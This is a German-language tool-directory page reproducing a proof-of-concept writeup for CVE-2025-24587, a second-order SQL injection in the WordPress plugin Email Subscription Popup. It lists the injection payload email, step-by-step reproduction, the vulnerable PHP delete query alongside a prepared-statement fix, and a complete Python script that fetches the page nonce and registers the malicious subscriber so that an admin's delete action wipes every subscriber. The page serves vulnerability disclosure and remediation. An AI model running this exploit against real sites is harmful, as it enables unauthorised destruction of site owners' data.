Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-24587 — PoC für CVE-2025-24587 | Kitploit
Tools/GitHubGitHub/dottak/cve-2025-24587
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubdottak/cve-2025-24587

CVE-2025-24587

PoC für CVE-2025-24587

Repository anzeigen
1vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-24587

1️⃣ Komponententyp

WordPress-Plugin

2️⃣ Komponentendetails

Komponentenname Email Subscription Popup

Verwundbare Version <= 1.2.23

Komponenten-Slug email-subscribe

Komponentenlink https://wordpress.org/plugins/email-subscribe/

3️⃣ OWASP 2017: TOP 10

Schwachstellenklasse A3: Injection

Schwachstellentyp SQL-Injection

4️⃣ Voraussetzung

Nicht authentifiziert

5️⃣ Schwachstellendetails

👉 Kurzbeschreibung

Ein nicht autorisierter Benutzer (Angreifer) abonniert den Newsletter mit einer E-Mail-Adresse, die eine SQL-Injection-Payload enthält. Später, wenn der Administrator zur Seite „Subscriber Management“ navigiert, die bösartige E-Mail-Adresse auswählt und die Löschung anfordert, wird die in der E-Mail-Adresse eingebettete SQL-Injection-Payload ausgeführt. Infolgedessen werden alle abonnierten E-Mail-Adressen aus der Datenbank gelöscht.

👉 So reproduzieren Sie den Fehler (PoC)

  1. Bereiten Sie eine WordPress-Website mit dem aktivierten Plugin „Email Subscription Popup“ (Version ≤ 1.2.23) vor.
  2. Führen Sie die Datei poc.py.txt (im Anhang) mit Python aus, um den Newsletter mit einer E-Mail-Adresse zu abonnieren, die eine Payload enthält, welche die SQL-Injection-Schwachstelle auslöst:
    • E-Mail-Adresse: '/**/OR/**/1=1#@a.a
    • Hinweis: Das Abonnieren mit dieser E-Mail-Adresse ist über den Client (Browser) aufgrund der Validierung nicht möglich. Senden Sie stattdessen direkt einen HTTP-Anfrage-Paket wie in poc.py.txt gezeigt.
  3. Melden Sie sich als Administrator an und navigieren Sie zu: http://localhost:8080/wp-admin/admin.php?page=email_subscription_popup_subscribers_management.
  4. Wählen Sie die E-Mail-Adresse '/****/**OR**/****/1=1#@a.a aus und klicken Sie unten auf die Schaltfläche „Delete Selected Subscribers“.
  5. Infolgedessen werden alle abonnierten E-Mail-Adressen gelöscht.

👉 Zusätzliche Informationen (optional)

[Ursache der Schwachstelle]

Diese Schwachstelle tritt in der Datei wp-content/plugins/email-subscribe/wp-email-subscription.php auf, genauer gesagt zwischen den Zeilen 2080 und 2084:

root@kitploit:~
# wp-content/plugins/email-subscribe/wp-email-subscription.php 의 
# line 2083 ~ line 2084
$query = "delete from  " . $wpdb->prefix . "nl_subscriptions where email='$em'";
$wpdb->query($query);

Um dieses Problem zu beheben, können Sie das von WordPress bereitgestellte $wpdb->prepare() verwenden. Diese Funktion escapet und formatiert Variablen, die in SQL-Abfragen verwendet werden, sicher, um SQL-Injection-Angriffe zu verhindern.

root@kitploit:~
$query = $wpdb->prepare(
    "DELETE FROM " . $wpdb->prefix . "nl_subscriptions WHERE email = %s",
    $em
);
$wpdb->query($query);

⭐ PoC-Code

root@kitploit:~
import re
import string
import random
import requests

TARGET = "http://localhost:8080"

def poc():

    ####
    # 1. Retrieve the value of 'sec_string' required for email subscription
    ####
    resp = requests.get(f"{TARGET}")
    pattern = r'var nonce = \'(.{10})\';'
    match = re.search(pattern, resp.text)
    if match:
        sec_string = match.group(1)
        print("[*] sec_string: " + sec_string)
    
        ####
        # 2. Generate subscribers with random email addresses
        ####
        random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=6))
        for i in range(10):
            data = {
                "action": "store_email",
                "email": f"{random_string}_{i}@example.com",
                "name": f"{random_string}_{i}",
                "is_agreed": "true",
                "sec_string": sec_string
            }
            print("[+] Successfully created subscriber #" + str(i) + " Email: " + data['email'] + ", Name: " + data['name'])
            requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
        
        ####
        # 3. Create a malicious email address to delete all subscriptions
        ####
        data = {
            "action": "store_email",
            "email": "'/**/OR/**/1=1#@a.a",
            "name": "Email mine",
            "is_agreed": "true",
            "sec_string": sec_string
        }
        print("[+] Malicious email address created Email: " + data['email'] + ", Name: " + data['name'])
        requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
    else:
        print("[-] 'sec_string' not found")
    

if __name__ == "__main__":
    poc()

6️⃣ Exploit-Demo

video

7️⃣ Referenzen

  • https://nvd.nist.gov/vuln/detail/CVE-2025-24587
Tool herunterladen